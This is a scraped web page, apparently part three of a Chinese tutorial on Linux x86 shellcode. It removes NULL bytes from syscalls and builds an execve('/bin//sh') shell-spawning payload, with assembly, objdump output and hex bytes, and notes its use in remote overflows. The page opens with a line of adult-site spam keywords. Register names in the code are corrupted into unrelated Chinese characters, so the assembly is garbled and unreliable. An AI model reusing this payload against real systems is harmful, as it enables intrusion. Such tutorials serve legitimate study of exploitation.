日本免费全黄少妇一区二区三区-高清无码一区二区三区四区-欧美中文字幕日韩在线观看-国产福利诱惑在线网站-国产中文字幕一区在线-亚洲欧美精品日韩一区-久久国产精品国产精品国产-国产精久久久久久一区二区三区-欧美亚洲国产精品久久久久

淺入淺出Liunx Shellcode( 三 )



在syscall的例子中操作數(shù)$4和$1二進制都只占8位,所以只需要把這兩個操作數(shù)賦值給AL就可以了,這樣就避免了使用EAX寄存器時,系統(tǒng)用NULL填充其他空間 。
我們來修改一下代碼看看,把
movl $4,陎
movl $1,離
改為
mov $4,%al
mov $1,%bl
再重新編譯連接syscall程序,并且查看一下objdump的結果:
pr0cess@pr0cess:~$ ./syscall
hello,syscall!!!!
pr0cess@pr0cess:~$ objdump -d ./syscall

./syscall: file format elf32-i386

Disassembly of section .text:

08048074 <_start>:
8048074: b0 04 mov $0×4,%al
8048076: b3 01 mov $0×1,%bl
8048078: b9 90 90 04 08 mov $0×8049090,靫
804807d: ba 12 00 00 00 mov $0×12,韝
8048082: cd 80 int $0×80
8048084: b8 01 00 00 00 mov $0×1,陎
8048089: bb 00 00 00 00 mov $0×0,離
804808e: cd 80 int $0×80
pr0cess@pr0cess:~$
看到了,已經(jīng)成功的把 NULL字符給去掉了,同理可以把下面語句都改寫一遍,這樣就可以使這個程序作為shellcode運行了 。
下面我們就來編寫第一個有實際意義的shellcode,它將打開一個新的shell 。當然,這在本地是沒有什么意義,可是當它作為一個遠程溢出在目標機器上打開shell的時候,那作用可就不能小視了 。打開一個新的shell我們需要用到execve系統(tǒng)調(diào)用,先來看看man手冊里是怎么定義這個函數(shù)的:
NAME
execve - execute program

SYNOPSIS
#include

int execve(const char *filename, char *const argv[],
char *const envp[]);
可以看到execve系統(tǒng)調(diào)用需要3個參數(shù),為了說明怎么使用先來寫一個簡單的C程序來調(diào)用execve函數(shù):
#include
int main()
{
char *sc[2];
sc[0]=”/bin/sh”;
sc[1]= NULL;
execve(sc[0],sc,NULL);
}
通過execve執(zhí)行一個/bin/sh從而獲得一個新的shell,編譯來看下結果:
pr0cess@pr0cess:~$ gcc -o newshell newshell.c
pr0cess@pr0cess:~$ ./newshell
$ exit
pr0cess@pr0cess:~$
新shell已經(jīng)成功的誕生了??!
為了編寫execve的shellcode我們用匯編實現(xiàn)一下以上C程序的功能,代碼如下:
.section .text
.globl _start
_start:
xorl 陎,陎
pushl 陎
pushl $0×68732f6e
pushl $0×69622f2f
movl %esp,離
pushl 陎
pushl 離
movl %esp,靫
movb $0xb,%al
int $0×80
來解釋一下這段代碼,首先為了避免mov賦值帶來的00,用一個異或操作來把EAX寄存器清空
xorl 陎,陎
接著將4字節(jié)的NULL壓棧
pushl 陎
將/bin//sh壓棧,保持對齊,第一個參數(shù)
pushl $0×68732f6e
pushl $0×69622f2f
將/bin//sh存放到EBX寄存器,第2個參數(shù)
movl %esp,離
壓4字節(jié)的NULL,第3個參數(shù),環(huán)境變量為 NULL
pushl 陎
將EBX壓棧
pushl 離
把EBX地址存入ECX寄存器
movl %esp,靫
將execve系統(tǒng)調(diào)用號11(0xb)壓入AL寄存器,消00
movb $0xb,%al
調(diào)用int指令進入中斷
int $0×80
OK,現(xiàn)在來測試一下這個程序是否能給我們帶來一個新的shell
pr0cess@pr0cess:~$ as -o exec.o exec.s
pr0cess@pr0cess:~$ ld -o exec exec.o
pr0cess@pr0cess:~$ ./exec
$ exit
pr0cess@pr0cess:~$
HOHO~~成功執(zhí)行了??!接著來提取16進制機器碼
pr0cess@pr0cess:~$ objdump -d ./exec

./exec: file format elf32-i386

Disassembly of section .text:

08048054 <_start>:
8048054: 31 c0 xor 陎,陎
8048056: 50 push 陎
8048057: 68 6e 2f 73 68 push $0×68732f6e
804805c: 68 2f 2f 62 69 push $0×69622f2f
8048061: 89 e3 mov %esp,離
8048063: 50 push 陎
8048064: 53 push 離
8048065: 89 e1 mov %esp,靫
8048067: b0 0b mov $0xb,%al
8048069: cd 80 int $0×80
pr0cess@pr0cess:~$
放到一個C程序中來完成整個shellcode的編寫測試吧
/*
*linux/x86 execve(”/bin//sh/”,["/bin//sh"],NULL) shellcode 23bytes

推薦閱讀